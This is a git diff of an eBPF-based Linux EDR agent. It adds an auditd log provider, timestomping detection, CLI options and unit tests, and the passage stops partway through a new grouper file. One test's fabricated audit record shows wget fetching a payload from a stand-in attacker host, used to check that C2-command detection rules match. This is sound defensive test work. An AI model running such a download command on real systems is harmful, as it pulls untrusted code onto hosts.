diff --git a/README.md b/README.md index 65b6fd9..846573d 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ Aurora Linux is a real-time Linux EDR agent. -It attaches eBPF programs to kernel tracepoints (process exec, file open, network state changes, and bpf syscalls), enriches the captured telemetry in user space, and evaluates each event against Sigma rules and IOC feeds to emit high-signal alerts in text or JSON. The goal is practical host detection with low overhead and clear, actionable output. +It attaches eBPF programs to kernel tracepoints (process exec, file open, network state changes, bpf syscalls, and file timestamp changes) and ingests Linux audit logs, enriches the captured telemetry in user space, and evaluates each event against Sigma rules and IOC feeds to emit high-signal alerts in text or JSON. The goal is practical host detection with low overhead and clear, actionable output. ```mermaid flowchart LR @@ -13,10 +13,12 @@ flowchart LR E2["sys_enter/sys_exit_openat"] E3["inet_sock_set_state"] E4["sys_enter/sys_exit_bpf"] + E5["sys_enter/sys_exit_utimensat"] end subgraph USER["User Space"] L["eBPF Listener"] + AU["Audit Provider"] C["Enrichment + Correlation"] S["Sigma Engine"] end @@ -25,21 +27,34 @@ flowchart LR E2 --> L E3 --> L E4 --> L + E5 --> L L -->|ring buffers| C + AU -->|audit.log tail| C C -->|LRU parent cache| S S -->|JSON/text alerts| A["Alert Output"] ``` ## What It Detects -Aurora Linux loads standard [Sigma rules](https://github.com/SigmaHQ/sigma) for Linux and matches them in real time against four event types: +Aurora Linux loads standard [Sigma rules](https://github.com/SigmaHQ/sigma) for Linux and matches them in real time against eBPF events and auditd logs: -| Event Type | eBPF Hook | Example Detections | +### eBPF Events + +| Event Type | Sysmon ID | eBPF Hook | Example Detections | +|---|---|---|---| +| **Process Creation** | 1 | `tracepoint/sched/sched_process_exec` | Reverse shells, base64 decode, webshell child processes, suspicious Java children | +| **File Create Time Change** | 2 | `tracepoint/syscalls/sys_{enter,exit}_utimensat` | Timestomping detection (attackers hiding file modification times) | +| **Network Connection** | 3 | `tracepoint/sock/inet_sock_set_state` | Bash reverse shells, malware callback ports, C2 on non-standard ports | +| **File Event** | 11 | `tracepoint/syscalls/sys_{enter,exit}_openat` | Cron persistence, sudoers modification, rootkit lock files, downloads to /tmp | +| **BPF Event** | 100 | `tracepoint/syscalls/sys_{enter,exit}_bpf` | Unauthorized BPF program loading, eBPF rootkit detection | + +### Auditd Events + +Aurora can also ingest Linux audit logs (`/var/log/audit/audit.log`) in real time and match them against [SigmaHQ linux/auditd rules](https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd). Audit events are emitted with raw audit fields (`type`, `key`, `exe`, `comm`, `a0`, `a1`, `name`, `syscall`, ...) for direct compatibility with the upstream rule set. + +| Source | Mode | Example Detections | |---|---|---| -| **Process Creation** | `tracepoint/sched/sched_process_exec` | Reverse shells, base64 decode, webshell child processes, suspicious Java children | -| **File Creation** | `tracepoint/syscalls/sys_{enter,exit}_openat` | Cron persistence, sudoers modification, rootkit lock files, downloads to /tmp | -| **Network Connection** | `tracepoint/sock/inet_sock_set_state` | Bash reverse shells, malware callback ports, C2 on non-standard ports | -| **BPF Syscall** | `tracepoint/syscalls/sys_{enter,exit}_bpf` | Unauthorized BPF program loads, rootkit BPF attachment, suspicious BPF map operations | +| **audit.log** | Real-time tail or batch file | Suspicious C2 commands, password policy discovery, ASLR disable, audio capture, system info discovery | ## Requirements @@ -88,6 +103,9 @@ Linux note: ```bash # Point at the Linux Sigma root directory (subfolders are loaded recursively) sudo ./aurora --rules /path/to/sigma/rules/linux --json + +# With auditd log ingestion for real-time audit-based detection +sudo ./aurora --rules /path/to/sigma/rules/linux --audit-log /var/log/audit/audit.log --json ``` `--rules` is required. Aurora validates rule directories at startup and exits @@ -256,6 +274,7 @@ When a Sigma rule matches, Aurora Linux emits a structured alert: | `--min-level` | info | Load only rules at or above this Sigma level (`info`, `low`, `medium`, `high`, `critical`) | | `--stats-interval` | 60 | Stats logging interval (seconds, 0=off) | | `--sigma-no-collapse-ws` | on | Disable Sigma whitespace collapsing during matching (default, reduces allocation churn; stricter matching) | +| `--audit-log` | off | Paths to auditd log files (repeatable; enables audit provider with real-time tailing) | | `--pprof-listen` | off | Enable local pprof endpoint on loopback `host:port` (for on-demand profiling) | | `-v, --verbose` | off | Debug-level logging | @@ -279,6 +298,8 @@ rules: - /opt/sigma/rules/linux filename-iocs: /opt/aurora-linux/resources/iocs/filename-iocs.txt c2-iocs: /opt/aurora-linux/resources/iocs/c2-iocs.txt +audit-log: + - /var/log/audit/audit.log logfile: /var/log/aurora-linux/aurora.log logfile-format: syslog tcp-target: myserver.local:514 @@ -291,20 +312,30 @@ pprof-listen: 127.0.0.1:6060 Aurora Linux follows a **provider → distributor → consumer** pipeline: -- **Provider** (`lib/provider/ebpf/`) -- eBPF programs attach to kernel tracepoints and deliver events via ring buffers. A userland listener reconstructs full fields from `/proc/PID/*`. +- **Provider: eBPF** (`lib/provider/ebpf/`) -- eBPF programs attach to kernel tracepoints and deliver events via ring buffers. A userland listener reconstructs full fields from `/proc/PID/*`. +- **Provider: Audit** (`lib/provider/audit/`) -- Reads Linux audit logs (e.g. `/var/log/audit/audit.log`), groups multi-line records by audit serial, and emits events with raw audit fields for direct SigmaHQ rule compatibility. Supports real-time tailing. - **Distributor** (`lib/distributor/`) -- Applies enrichment functions (parent process correlation via LRU cache, UID→username resolution) and routes events to consumers. - **Consumer** (`lib/consumer/sigma/`) -- Evaluates events against loaded Sigma rules using [go-sigma-rule-engine](https://github.com/markuskont/go-sigma-rule-engine). Includes per-rule throttling to suppress duplicate alerts. - **Consumer** (`lib/consumer/ioc/`) -- Evaluates events against bundled IOC files (`filename-iocs.txt`, `c2-iocs.txt`) and emits IOC match alerts. ### Sigma Field Coverage +**eBPF provider** (Sysmon-compatible fields): + | Category | Sigma Fields Covered | Rule Coverage | |---|---|---| | `process_creation` | Image, CommandLine, ParentImage, ParentCommandLine, User, LogonId, CurrentDirectory | 119/119 rules (100%) | -| `file_event` | TargetFilename, Image | 8/8 rules (100%) | +| `file_event` | TargetFilename, Image, FileAction | 8/8 rules (100%) | +| `file_create_time` | TargetFilename, Image, NewAccessTime, NewModificationTime | timestomping detection | | `network_connection` | Image, DestinationIp, DestinationPort, Initiated | 2/5 rules (40%) -- remaining 3 need DNS correlation | | `bpf_event` | Image, User, ProcessId, BpfCommand, BpfProgramType, BpfProgramId, BpfProgramName, EventID | Sigma rules matching on `bpf()` syscall fields | +**Audit provider** (raw audit fields): + +| Category | Sigma Fields Covered | +|---|---| +| `linux/auditd` | type, syscall, key, exe, comm, a0-aN, name, nametype, cwd, proctitle, pid, ppid, uid, auid, SYSCALL, UID, AUID, and all other raw audit fields | + ## Project Structure ``` @@ -314,6 +345,7 @@ aurora-linux/ ├── scripts/ Install + maintenance automation ├── lib/ │ ├── provider/ebpf/ eBPF listener + BPF C programs +│ ├── provider/audit/ Auditd log provider (real-time + batch) │ ├── provider/replay/ JSONL replay provider (for CI) │ ├── distributor/ Event routing + enrichment │ ├── enrichment/ DataFieldsMap, correlator cache diff --git a/cmd/aurora/agent/agent.go b/cmd/aurora/agent/agent.go index 5cb92c0..22e6182 100644 --- a/cmd/aurora/agent/agent.go +++ b/cmd/aurora/agent/agent.go @@ -21,15 +21,17 @@ import ( "github.com/Nextron-Labs/aurora-linux/lib/enrichment" "github.com/Nextron-Labs/aurora-linux/lib/logging" "github.com/Nextron-Labs/aurora-linux/lib/provider" + auditprovider "github.com/Nextron-Labs/aurora-linux/lib/provider/audit" ebpfprovider "github.com/Nextron-Labs/aurora-linux/lib/provider/ebpf" log "github.com/sirupsen/logrus" ) // Agent orchestrates the lifecycle of the Aurora Linux EDR agent. type Agent struct { - params Parameters - listener *ebpfprovider.Listener - dist *distributor.Distributor + params Parameters + listener *ebpfprovider.Listener + auditProvider *auditprovider.AuditProvider + dist *distributor.Distributor consumer *sigma.SigmaConsumer ioc *ioc.Consumer correlator *enrichment.Correlator @@ -155,6 +157,17 @@ func (a *Agent) Run() error { log.Info("eBPF listener initialized, starting event collection") + // Create and initialize audit provider if audit log files are specified + if len(a.params.AuditLogFiles) > 0 { + a.auditProvider = auditprovider.New(a.params.AuditLogFiles...) + _ = a.auditProvider.AddSource(auditprovider.SourceAuditd) + + if err := a.auditProvider.Initialize(); err != nil { + return fmt.Errorf("initializing audit provider: %w", err) + } + log.WithField("files", a.params.AuditLogFiles).Info("Audit log provider initialized") + } + // Start stats reporting if a.params.StatsInterval > 0 { a.statsStop = make(chan struct{}) @@ -167,7 +180,7 @@ func (a *Agent) Run() error { signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) defer signal.Stop(sigCh) - // Start event collection in a goroutine + // Start event collection in goroutines doneCh := make(chan struct{}) go func() { a.listener.SendEvents(func(event provider.Event) { @@ -182,6 +195,19 @@ func (a *Agent) Run() error { close(doneCh) }() + // Start audit provider event collection if enabled + if a.auditProvider != nil { + go a.auditProvider.SendEvents(func(event provider.Event) { + if a.params.Trace { + a.traceEvent(event) + } + if a.shouldExcludeEvent(event) { + return + } + a.dist.HandleEvent(event) + }) + } + // Wait for signal sig := <-sigCh log.WithField("signal", sig).Info("Received shutdown signal") @@ -213,6 +239,11 @@ func (a *Agent) shutdown() { log.WithError(err).Warn("Failed to close eBPF listener cleanly") } } + if a.auditProvider != nil { + if err := a.auditProvider.Close(); err != nil { + log.WithError(err).Warn("Failed to close audit provider cleanly") + } + } if a.consumer != nil { if err := a.consumer.Close(); err != nil { log.WithError(err).Warn("Failed to close Sigma consumer cleanly") diff --git a/cmd/aurora/agent/parameters.go b/cmd/aurora/agent/parameters.go index ce9cd9f..2b885e7 100644 --- a/cmd/aurora/agent/parameters.go +++ b/cmd/aurora/agent/parameters.go @@ -78,6 +78,9 @@ type Parameters struct { // PprofListen enables a local pprof HTTP endpoint on host:port. // Empty disables runtime profiling endpoints. PprofListen string + + // AuditLogFiles contains paths to auditd log files for the audit provider. + AuditLogFiles []string } // DefaultParameters returns parameters with sensible defaults. diff --git a/cmd/aurora/main.go b/cmd/aurora/main.go index eb8a9b3..b4071a1 100644 --- a/cmd/aurora/main.go +++ b/cmd/aurora/main.go @@ -78,6 +78,7 @@ func main() { flags.IntVar(¶ms.StatsInterval, "stats-interval", params.StatsInterval, "Stats logging interval in seconds (0=disabled)") flags.BoolVar(¶ms.SigmaNoCollapseWS, "sigma-no-collapse-ws", params.SigmaNoCollapseWS, "Disable sigma whitespace collapsing during pattern matching (default: true)") flags.StringVar(¶ms.PprofListen, "pprof-listen", "", "Enable pprof HTTP endpoint on loopback host:port (example: 127.0.0.1:6060)") + flags.StringSliceVar(¶ms.AuditLogFiles, "audit-log", nil, "Paths to auditd log files to process (repeatable; enables audit provider)") if err := rootCmd.Execute(); err != nil { writeCLIError(err, params.JSONOutput, os.Stderr) @@ -159,6 +160,8 @@ func applyCLIOverrides(set *pflag.FlagSet, dst *agent.Parameters, cli agent.Para dst.SigmaNoCollapseWS = cli.SigmaNoCollapseWS case "pprof-listen": dst.PprofListen = cli.PprofListen + case "audit-log": + dst.AuditLogFiles = append([]string(nil), cli.AuditLogFiles...) } }) } diff --git a/lib/distributor/enrichments.go b/lib/distributor/enrichments.go index dc1ebaa..cf29e47 100644 --- a/lib/distributor/enrichments.go +++ b/lib/distributor/enrichments.go @@ -23,6 +23,9 @@ func RegisterLinuxEnrichments(enricher *enrichment.EventEnricher, correlator *en enricher.Register("LinuxEBPF:3", func(fields enrichment.DataFieldsMap) { enrichImageFromCache(fields, correlator) }) + + // Audit provider: raw audit fields, no Sysmon EventID enrichment needed. + // Sigma rules match on native audit fields (type, key, exe, a0, ...). } // enrichParentFields fills ParentImage and ParentCommandLine from the diff --git a/lib/provider/audit/audit.go b/lib/provider/audit/audit.go new file mode 100644 index 0000000..1444bcf --- /dev/null +++ b/lib/provider/audit/audit.go @@ -0,0 +1,215 @@ +package audit + +import ( + "bufio" + "io" + "os" + "sync" + "sync/atomic" + "time" + + "github.com/Nextron-Labs/aurora-linux/lib/provider" + log "github.com/sirupsen/logrus" +) + +const ( + maxAuditLineBytes = 8 * 1024 // audit lines are typically <4KB + tailPollInterval = 250 * time.Millisecond +) + +// AuditProvider implements EventProvider by reading events from auditd log files. +// Each grouped audit record (lines sharing the same timestamp:serial) is flattened +// into one event per record type, with raw audit fields preserved for direct +// compatibility with SigmaHQ linux/auditd rules. +type AuditProvider struct { + files []string + follow atomic.Bool // when true, tail the last file for new lines + sources map[string]bool + sourcesMu sync.RWMutex + closed atomic.Bool + lost atomic.Uint64 +} + +// New creates a new AuditProvider for the given audit log files. +// By default follow mode is enabled, tailing the last file for real-time detection. +func New(files ...string) *AuditProvider { + p := &AuditProvider{ + files: files, + sources: make(map[string]bool), + } + p.follow.Store(true) + return p +} + +// SetFollow enables or disables follow (tail -f) mode on the last file. +func (a *AuditProvider) SetFollow(follow bool) { + a.follow.Store(follow) +} + +func (a *AuditProvider) Name() string { return ProviderName } +func (a *AuditProvider) Description() string { return "Audit log provider for Linux auditd events" } +func (a *AuditProvider) LostEvents() uint64 { return a.lost.Load() } + +func (a *AuditProvider) Close() error { + a.closed.Store(true) + return nil +} + +func (a *AuditProvider) Initialize() error { + a.closed.Store(false) + return nil +} + +func (a *AuditProvider) AddSource(source string) error { + a.sourcesMu.Lock() + a.sources[source] = true + a.sourcesMu.Unlock() + return nil +} + +// SendEvents reads each audit log file and emits events via the callback. +// The last file is tailed for new lines when follow mode is enabled. +// This method blocks until Close() is called (like the eBPF listener). +func (a *AuditProvider) SendEvents(callback func(event provider.Event)) { + for i, path := range a.files { + if a.closed.Load() { + return + } + isLast := i == len(a.files)-1 + follow := a.follow.Load() && isLast + a.processFile(path, follow, callback) + } +} + +func (a *AuditProvider) processFile(path string, follow bool, callback func(event provider.Event)) { + f, err := os.Open(path) + if err != nil { + log.WithFields(log.Fields{ + "provider": ProviderName, + "path": path, + }).WithError(err).Warn("Failed to open audit log file") + return + } + defer f.Close() + + if follow { + // Seek to end — only process new lines in follow mode. + if _, err := f.Seek(0, io.SeekEnd); err != nil { + log.WithFields(log.Fields{ + "provider": ProviderName, + "path": path, + }).WithError(err).Warn("Failed to seek to end of audit log; reading from start") + } else { + log.WithField("path", path).Info("Audit provider tailing file for real-time events") + } + } + + lineNo := 0 + grouper := newRecordGrouper() + reader := bufio.NewReader(f) + + for !a.closed.Load() { + line, err := readLine(reader) + if err != nil && err != io.EOF { + log.WithFields(log.Fields{ + "provider": ProviderName, + "path": path, + "line": lineNo, + }).WithError(err).Warn("Error reading audit log") + return + } + + if line == "" { + if !follow || err == io.EOF { + if !follow { + // Non-follow: flush and return at EOF. + break + } + // Follow mode: flush pending group on EOF (auditd writes + // complete record groups atomically, so if we hit EOF the + // current group is complete). + if final := grouper.Flush(); final != nil { + a.emitRecord(final, callback) + } + // Poll for new data + time.Sleep(tailPollInterval) + continue + } + } + + lineNo++ + + parsed, err := parseLine(line) + if err != nil { + log.WithFields(log.Fields{ + "provider": ProviderName, + "path": path, + "line": lineNo, + }).WithError(err).Debug("Skipping unparseable audit line") + a.lost.Add(1) + continue + } + if parsed == nil { + continue + } + + if completed := grouper.AddLine(parsed); completed != nil { + a.emitRecord(completed, callback) + } + } + + // Flush the last pending record + if final := grouper.Flush(); final != nil { + a.emitRecord(final, callback) + } +} + +// readLine reads a complete line from the reader, handling partial reads. +// Returns the line without the trailing newline, or io.EOF at end of file. +// Lines exceeding maxAuditLineBytes are truncated to prevent unbounded allocation. +func readLine(r *bufio.Reader) (string, error) { + var line []byte + for { + part, isPrefix, err := r.ReadLine() + if err != nil { + if len(line) > 0 { + return string(line), nil + } + return "", err + } + if len(line)+len(part) > maxAuditLineBytes { + // Discard the rest of the oversized line. + line = append(line, part[:maxAuditLineBytes-len(line)]...) + for isPrefix { + _, isPrefix, err = r.ReadLine() + if err != nil { + break + } + } + return string(line), nil + } + line = append(line, part...) + if !isPrefix { + return string(line), nil + } + } +} + +func (a *AuditProvider) emitRecord(record *auditRecord, callback func(event provider.Event)) { + events := mapRecordToEvents(record) + for _, evt := range events { + if !a.sourceEnabled(evt.source) { + continue + } + callback(evt) + } +} + +func (a *AuditProvider) sourceEnabled(source string) bool { + a.sourcesMu.RLock() + defer a.sourcesMu.RUnlock() + if len(a.sources) == 0 { + return true + } + return a.sources[source] +} diff --git a/lib/provider/audit/audit_test.go b/lib/provider/audit/audit_test.go new file mode 100644 index 0000000..99ace1f --- /dev/null +++ b/lib/provider/audit/audit_test.go @@ -0,0 +1,322 @@ +package audit + +import ( + "os" + "path/filepath" + "testing" + + "github.com/Nextron-Labs/aurora-linux/lib/provider" +) + +// Sample audit log content matching the user's real input. +const sampleAuditLog = `type=SYSCALL msg=audit(1775057805.797:696): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=56216e858220 a2=441 a3=1b6 items=2 ppid=3916329 pid=3916330 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=3 comm="bash" exe="/usr/bin/bash" subj=unconfined key="etcwrite" +type=CWD msg=audit(1775057805.797:696): cwd="/home/pipezie/git/aurora-linux" +type=PATH msg=audit(1775057805.797:696): item=0 name="/etc/vim/" inode=32506126 dev=fe:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 +type=PATH msg=audit(1775057805.797:696): item=1 name="/etc/vim/vimrc" inode=32506127 dev=fe:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 +type=PROCTITLE msg=audit(1775057805.797:696): proctitle="-bash" +` + +// TestParseLineBasic tests parsing of a SYSCALL audit line. +func TestParseLineBasic(t *testing.T) { + line := `type=SYSCALL msg=audit(1775057805.797:696): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=56216e858220 a2=441 a3=1b6 items=2 ppid=3916329 pid=3916330 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=3 comm="bash" exe="/usr/bin/bash" subj=unconfined key="etcwrite"` + + parsed, err := parseLine(line) + if err != nil { + t.Fatalf("parseLine returned error: %v", err) + } + if parsed == nil { + t.Fatal("parseLine returned nil") + } + + if parsed.RecordType != "SYSCALL" { + t.Errorf("RecordType = %q, want SYSCALL", parsed.RecordType) + } + if parsed.Serial != 696 { + t.Errorf("Serial = %d, want 696", parsed.Serial) + } + if parsed.Fields["syscall"] != "257" { + t.Errorf("syscall = %q, want 257", parsed.Fields["syscall"]) + } + if parsed.Fields["exe"] != "/usr/bin/bash" { + t.Errorf("exe = %q, want /usr/bin/bash", parsed.Fields["exe"]) + } + if parsed.Fields["pid"] != "3916330" { + t.Errorf("pid = %q, want 3916330", parsed.Fields["pid"]) + } + if parsed.Fields["key"] != "etcwrite" { + t.Errorf("key = %q, want etcwrite", parsed.Fields["key"]) + } +} + +// TestParseLineCWD tests parsing of a CWD audit line. +func TestParseLineCWD(t *testing.T) { + line := `type=CWD msg=audit(1775057805.797:696): cwd="/home/pipezie/git/aurora-linux"` + parsed, err := parseLine(line) + if err != nil { + t.Fatalf("parseLine returned error: %v", err) + } + if parsed.Fields["cwd"] != "/home/pipezie/git/aurora-linux" { + t.Errorf("cwd = %q, want /home/pipezie/git/aurora-linux", parsed.Fields["cwd"]) + } +} + +// TestParseLinePATH tests parsing of a PATH audit line. +func TestParseLinePATH(t *testing.T) { + line := `type=PATH msg=audit(1775057805.797:696): item=1 name="/etc/vim/vimrc" inode=32506127 dev=fe:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0` + parsed, err := parseLine(line) + if err != nil { + t.Fatalf("parseLine returned error: %v", err) + } + if parsed.Fields["name"] != "/etc/vim/vimrc" { + t.Errorf("name = %q, want /etc/vim/vimrc", parsed.Fields["name"]) + } + if parsed.Fields["nametype"] != "NORMAL" { + t.Errorf("nametype = %q, want NORMAL", parsed.Fields["nametype"]) + } +} + +// TestDecodeHexField tests hex decoding. +func TestDecodeHexField(t *testing.T) { + got := decodeHexField("2D62617368") + if got != "-bash" { + t.Errorf("decodeHexField = %q, want -bash", got) + } + + got = decodeHexField("-bash") + if got != "-bash" { + t.Errorf("decodeHexField for non-hex = %q, want -bash", got) + } + + got = decodeHexField("6C73002D6C61") + if got != "ls -la" { + t.Errorf("decodeHexField with NUL = %q, want 'ls -la'", got) + } +} + +// TestRecordGrouper tests grouping of consecutive audit lines. +func TestRecordGrouper(t *testing.T) { + lines := []string{ + `type=SYSCALL msg=audit(1775057805.797:696): syscall=257 pid=100 exe="/usr/bin/bash"`, + `type=CWD msg=audit(1775057805.797:696): cwd="/home"`, + `type=SYSCALL msg=audit(1775057805.797:697): syscall=59 pid=200 exe="/usr/bin/ls"`, + } + + grouper := newRecordGrouper() + var records []*auditRecord + + for _, l := range lines { + parsed, err := parseLine(l) + if err != nil { + t.Fatalf("parseLine: %v", err) + } + if completed := grouper.AddLine(parsed); completed != nil { + records = append(records, completed) + } + } + if final := grouper.Flush(); final != nil { + records = append(records, final) + } + + if len(records) != 2 { + t.Fatalf("got %d records, want 2", len(records)) + } + if records[0].Key != "1775057805.797:696" { + t.Errorf("first record key = %q, want 1775057805.797:696", records[0].Key) + } + if len(records[0].Lines) != 2 { + t.Errorf("first record has %d lines, want 2", len(records[0].Lines)) + } + if records[1].Key != "1775057805.797:697" { + t.Errorf("second record key = %q, want 1775057805.797:697", records[1].Key) + } +} + +// TestMapRecordToEventsRawFields tests that events contain raw audit fields +// and that SYSCALL fields are merged into child records. +func TestMapRecordToEventsRawFields(t *testing.T) { + lines := []string{ + `type=SYSCALL msg=audit(1775057805.797:696): arch=c000003e syscall=257 success=yes pid=3916330 ppid=3916329 uid=0 comm="bash" exe="/usr/bin/bash" key="etcwrite"`, + `type=CWD msg=audit(1775057805.797:696): cwd="/home/pipezie/git/aurora-linux"`, + `type=PATH msg=audit(1775057805.797:696): item=1 name="/etc/vim/vimrc" nametype=NORMAL`, + `type=PROCTITLE msg=audit(1775057805.797:696): proctitle=2D62617368`, + } + + grouper := newRecordGrouper() + for _, l := range lines { + parsed, _ := parseLine(l) + grouper.AddLine(parsed) + } + record := grouper.Flush() + events := mapRecordToEvents(record) + + if len(events) != 4 { + t.Fatalf("got %d events, want 4 (one per record type)", len(events)) + } + + // SYSCALL event: has its own fields directly + syscallEvt := events[0] + if v := syscallEvt.fields.Value("type"); v.String != "SYSCALL" { + t.Errorf("event[0] type = %q, want SYSCALL", v.String) + } + if v := syscallEvt.fields.Value("key"); v.String != "etcwrite" { + t.Errorf("event[0] key = %q, want etcwrite", v.String) + } + if v := syscallEvt.fields.Value("exe"); v.String != "/usr/bin/bash" { + t.Errorf("event[0] exe = %q, want /usr/bin/bash", v.String) + } + + // PATH event: has its own fields + SYSCALL fields merged + pathEvt := events[2] + if v := pathEvt.fields.Value("type"); v.String != "PATH" { + t.Errorf("event[2] type = %q, want PATH", v.String) + } + if v := pathEvt.fields.Value("name"); v.String != "/etc/vim/vimrc" { + t.Errorf("event[2] name = %q, want /etc/vim/vimrc", v.String) + } + // SYSCALL exe should be available in PATH event + if v := pathEvt.fields.Value("exe"); v.String != "/usr/bin/bash" { + t.Errorf("event[2] exe (from SYSCALL) = %q, want /usr/bin/bash", v.String) + } + // SYSCALL key should be available in PATH event + if v := pathEvt.fields.Value("key"); v.String != "etcwrite" { + t.Errorf("event[2] key (from SYSCALL) = %q, want etcwrite", v.String) + } + + // PROCTITLE event: proctitle should be hex-decoded + proctitleEvt := events[3] + if v := proctitleEvt.fields.Value("type"); v.String != "PROCTITLE" { + t.Errorf("event[3] type = %q, want PROCTITLE", v.String) + } + if v := proctitleEvt.fields.Value("proctitle"); v.String != "-bash" { + t.Errorf("event[3] proctitle = %q, want -bash (hex-decoded)", v.String) + } + + // All events should have the same PID from SYSCALL + for i, evt := range events { + if evt.pid != 3916330 { + t.Errorf("event[%d] pid = %d, want 3916330", i, evt.pid) + } + if evt.source != SourceAuditd { + t.Errorf("event[%d] source = %q, want %q", i, evt.source, SourceAuditd) + } + } +} + +// TestMapRecordToEventsExecve tests EXECVE args are hex-decoded. +func TestMapRecordToEventsExecve(t *testing.T) { + lines := []string{ + `type=SYSCALL msg=audit(1775057806.000:700): syscall=59 pid=5000 exe="/usr/bin/ls"`, + `type=EXECVE msg=audit(1775057806.000:700): argc=2 a0="ls" a1="-la"`, + } + + grouper := newRecordGrouper() + for _, l := range lines { + parsed, _ := parseLine(l) + grouper.AddLine(parsed) + } + record := grouper.Flush() + events := mapRecordToEvents(record) + + if len(events) != 2 { + t.Fatalf("got %d events, want 2", len(events)) + } + + // EXECVE event should have raw a0, a1 fields + execveEvt := events[1] + if v := execveEvt.fields.Value("type"); v.String != "EXECVE" { + t.Errorf("type = %q, want EXECVE", v.String) + } + if v := execveEvt.fields.Value("a0"); v.String != "ls" { + t.Errorf("a0 = %q, want ls", v.String) + } + if v := execveEvt.fields.Value("a1"); v.String != "-la" { + t.Errorf("a1 = %q, want -la", v.String) + } + // SYSCALL exe should be merged + if v := execveEvt.fields.Value("exe"); v.String != "/usr/bin/ls" { + t.Errorf("exe (from SYSCALL) = %q, want /usr/bin/ls", v.String) + } +} + +// TestSigmaRuleCompatibility tests that events match the field patterns used +// by SigmaHQ linux/auditd rules. +func TestSigmaRuleCompatibility(t *testing.T) { + // Simulates what lnx_auditd_susp_c2_commands.yml expects: + // selection: key: 'susp_activity' + lines := []string{ + `type=SYSCALL msg=audit(1775057806.000:701): syscall=59 pid=100 exe="/usr/bin/wget" key="susp_activity"`, + `type=EXECVE msg=audit(1775057806.000:701): argc=2 a0="wget" a1="http://evil.com/payload"`, + } + + grouper := newRecordGrouper() + for _, l := range lines { + parsed, _ := parseLine(l) + grouper.AddLine(parsed) + } + record := grouper.Flush() + events := mapRecordToEvents(record) + + // The SYSCALL event should match: key='susp_activity' + syscallEvt := events[0] + keyVal := syscallEvt.fields.Value("key") + if !keyVal.Valid || keyVal.String != "susp_activity" { + t.Errorf("key = %q, want susp_activity", keyVal.String) + } + + // The EXECVE event should match: type=EXECVE, a0=wget + // AND have key from SYSCALL merged + execveEvt := events[1] + if v := execveEvt.fields.Value("type"); v.String != "EXECVE" { + t.Errorf("type = %q, want EXECVE", v.String) + } + if v := execveEvt.fields.Value("a0"); v.String != "wget" { + t.Errorf("a0 = %q, want wget", v.String) + } + if v := execveEvt.fields.Value("key"); v.String != "susp_activity" { + t.Errorf("key (merged from SYSCALL) = %q, want susp_activity", v.String) + } +} + +// TestFullProviderFromFile tests the full provider reading from a temp file. +func TestFullProviderFromFile(t *testing.T) { + tmpDir := t.TempDir() + logFile := filepath.Join(tmpDir, "audit.log") + if err := os.WriteFile(logFile, []byte(sampleAuditLog), 0644); err != nil { + t.Fatal(err) + } + + p := New(logFile) + p.SetFollow(false) // don't tail in tests + _ = p.AddSource(SourceAuditd) + if err := p.Initialize(); err != nil { + t.Fatal(err) + } + + var events []provider.Event + p.SendEvents(func(event provider.Event) { + events = append(events, event) + }) + + // 5 lines in the log = 5 events (one per record type) + if len(events) != 5 { + t.Fatalf("got %d events, want 5", len(events)) + } + + // Verify each event has a type field + expectedTypes := []string{"SYSCALL", "CWD", "PATH", "PATH", "PROCTITLE"} + for i, evt := range events { + typeVal := evt.Value("type") + if !typeVal.Valid || typeVal.String != expectedTypes[i] { + t.Errorf("event[%d] type = %q, want %q", i, typeVal.String, expectedTypes[i]) + } + if evt.ID().ProviderName != ProviderName { + t.Errorf("event[%d] ProviderName = %q, want %q", i, evt.ID().ProviderName, ProviderName) + } + } + + // PATH with nametype=NORMAL should have name=/etc/vim/vimrc + pathEvt := events[3] // item=1, nametype=NORMAL + if v := pathEvt.Value("name"); v.String != "/etc/vim/vimrc" { + t.Errorf("PATH name = %q, want /etc/vim/vimrc", v.String) + } +} diff --git a/lib/provider/audit/event.go b/lib/provider/audit/event.go new file mode 100644 index 0000000..db964e6 --- /dev/null +++ b/lib/provider/audit/event.go @@ -0,0 +1,34 @@ +package audit + +import ( + "time" + + "github.com/Nextron-Labs/aurora-linux/lib/enrichment" + "github.com/Nextron-Labs/aurora-linux/lib/provider" +) + +const ProviderName = "LinuxAudit" + +// Single source string — all audit events go through the same source. +const SourceAuditd = "LinuxAudit:Auditd" + +// EventIDAudit is used for all audit events. Sigma rules match on raw +// audit fields (type, syscall, key, exe, a0, ...) not on Sysmon EventIDs. +const EventIDAudit uint16 = 0 + +// auditEvent implements provider.Event for audit-sourced events. +type auditEvent struct { + id provider.EventIdentifier + pid uint32 + source string + ts time.Time + fields enrichment.DataFieldsMap +} + +func (e *auditEvent) ID() provider.EventIdentifier { return e.id } +func (e *auditEvent) Process() uint32 { return e.pid } +func (e *auditEvent) Source() string { return e.source } +func (e *auditEvent) Time() time.Time { return e.ts } +func (e *auditEvent) Value(fieldname string) enrichment.DataValue { return e.fields.Value(fieldname) } +func (e *auditEvent) ForEach(fn func(key, value string)) { e.fields.ForEach(fn) } +func (e *auditEvent) Fields() enrichment.DataFieldsMap { return e.fields } diff --git a/lib/provider/audit/grouper.go b/lib/provider/audit/grouper.go new file mode 100644 index 0000000..fcefe0d --- /dev/null +++ b/lib/provider/audit/grouper.go @@ -0,0 +1,77 @@ +package audit + +import ( + "math" + "time" +) + +// auditRecord is a group of related audit lines forming one logical event. +type auditRecord struct { + Key string + Timestamp time.Time + Lines []*auditLine +} + +// recordGrouper accumulates audit lines and emits complete records. +// Audit records for the same event are always consecutive in the log, +// so we flush when the key changes. +type recordGrouper struct { + currentKey string + currentLines []*auditLine + hasCurrentKey bool +} + +func newRecordGrouper() 